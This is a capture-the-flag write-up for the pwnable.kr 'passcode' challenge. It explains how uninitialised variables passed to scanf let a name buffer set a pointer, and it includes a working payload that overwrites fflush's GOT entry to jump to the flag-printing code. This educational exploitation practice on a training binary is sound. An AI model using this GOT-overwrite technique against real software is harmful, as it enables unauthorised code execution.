/ ctf

Pwnable.kr - passcode

Writeup for passcode of pwnable.kr

0x00 Puzzle

Mommy told me to make a passcode based login system.
My initial C code was compiled without any error!
Well, there was some compiler warning, but who cares about that?

ssh passcode@pwnable.kr -p2222 (pw:guest)

0x01 Explore

I'm using xshell in windows so the ssh cmd may different from which under linux.

$ ssh passcode@pwnable.kr 2222

passcode@ubuntu:~$ ls -l
total 16
-r--r----- 1 root passcode_pwn   48 Jun 26  2014 flag
-r-xr-sr-x 1 root passcode_pwn 7485 Jun 26  2014 passcode
-rw-r--r-- 1 root root          858 Jun 26  2014 passcode.c

So obviously, we need to pwn passcode to read the flag file.
Take a look at passcode.c:

#include <stdio.h>
#include <stdlib.h>

void login(){
        int passcode1;
        int passcode2;

        printf("enter passcode1 : ");
        scanf("%d", passcode1);
        fflush(stdin);

        // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
        printf("enter passcode2 : ");
        scanf("%d", passcode2);

        printf("checking...\n");
        if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
                exit(0);
        }
}

void welcome(){
        char name[100];
        printf("enter you name : ");
        scanf("%100s", name);
        printf("Welcome %s!\n", name);
}

int main(){
        printf("Toddler's Secure Login System 1.0 beta.\n");

        welcome();
        login();

        // something after login...
        printf("Now I can safely trust you that you have credential :)\n");
        return 0;
}

There are two lines write in the wrong way:

scanf("%d", passcode1);
scanf("%d", passcode2);

Both passcode1 and passcode2 are not initialized after declaimed.
So traditionally, the end bytes of the name variable in welcome() should stay on the stack when passcode1 and passcode2 are using.

Since scanf("%100s", name); limits the input length to 100 bytes, we cannot overflow it.

So I considered to construct the payload:
Our target is passcode1==338150(0x000528e6) && passcode2==13371337(0x00cc07c9)
python -c "print 'A' * 92 + '\xe6\x28\x05\x00' + '\xc9\x07\xcc\x00'" | ./passcode

If we recompile the passcode.c with gcc -m32 -o passcode passcode.c -g, this payload should work:

Please ignore those debug lines starting with 'passcode.*'.

But when I tested it on the ~/passcode, which have the privilege we need, it failed.

Then throw it into gdb, we can see that we can only control the passcode1 by the last 4 bytes of name, but not the passcode2. (I don't know exactly why, but I guess it's something to do with the difference of gcc flags when compiling)

From this point, my turned to seeking help.

0x03 Solution and things learned

From the solution vedio and this blog, I learned about GOT modification.

There is a function calling right after scanf(passcode1): fflush(stdin).
It's a system call and we can find it's GOT address by using rabin2:
rabin2 -R passcode

passcode@ubuntu:~$ rabin2 -R passcode
[Relocations]
vaddr=0x08049ff0 paddr=0x00000ff0 type=SET_32 __gmon_start__
vaddr=0x0804a02c paddr=0x0000102c type=SET_64
vaddr=0x0804a000 paddr=0x00001000 type=SET_32 printf
vaddr=0x0804a004 paddr=0x00001004 type=SET_32 fflush  <--------This line
vaddr=0x0804a008 paddr=0x00001008 type=SET_32 __stack_chk_fail
vaddr=0x0804a00c paddr=0x0000100c type=SET_32 puts
vaddr=0x0804a010 paddr=0x00001010 type=SET_32 system
vaddr=0x0804a014 paddr=0x00001014 type=SET_32 __gmon_start__
vaddr=0x0804a018 paddr=0x00001018 type=SET_32 exit
vaddr=0x0804a01c paddr=0x0000101c type=SET_32 __libc_start_main
vaddr=0x0804a020 paddr=0x00001020 type=SET_32 __isoc99_scanf

11 relocations

The fflush's acture address is stored on 0x0804a004 (GOT, on the stack).
If we can change it to other address of the program, we can skip the checking and get the flag directly.

To achieve that, we just let the value of passcode1 to be 0x0804a004, then when scanf("%d", passcode1), we input the address of somewhere we need.

Using gdb or objdump or radare to get the start address of system("/bin/cat flag");

$ r2 passcode
[...]> aaa
[...]> afl
[...]> s sym.login
[...]> pdf


We can see, right after the two jne, there is printf('Login OK') and system('cat flag').
The address we need is 0x080485d7 (I prefer this) or 0x0485e3.

Then construct the final payload:
python -c "print 'A' * 96 + '\x04\xa0\x04\x08' + '134514135'" | ~/passcode
(0x080485d7==134514135)

Done!

Pwnable.kr - passcode
Share this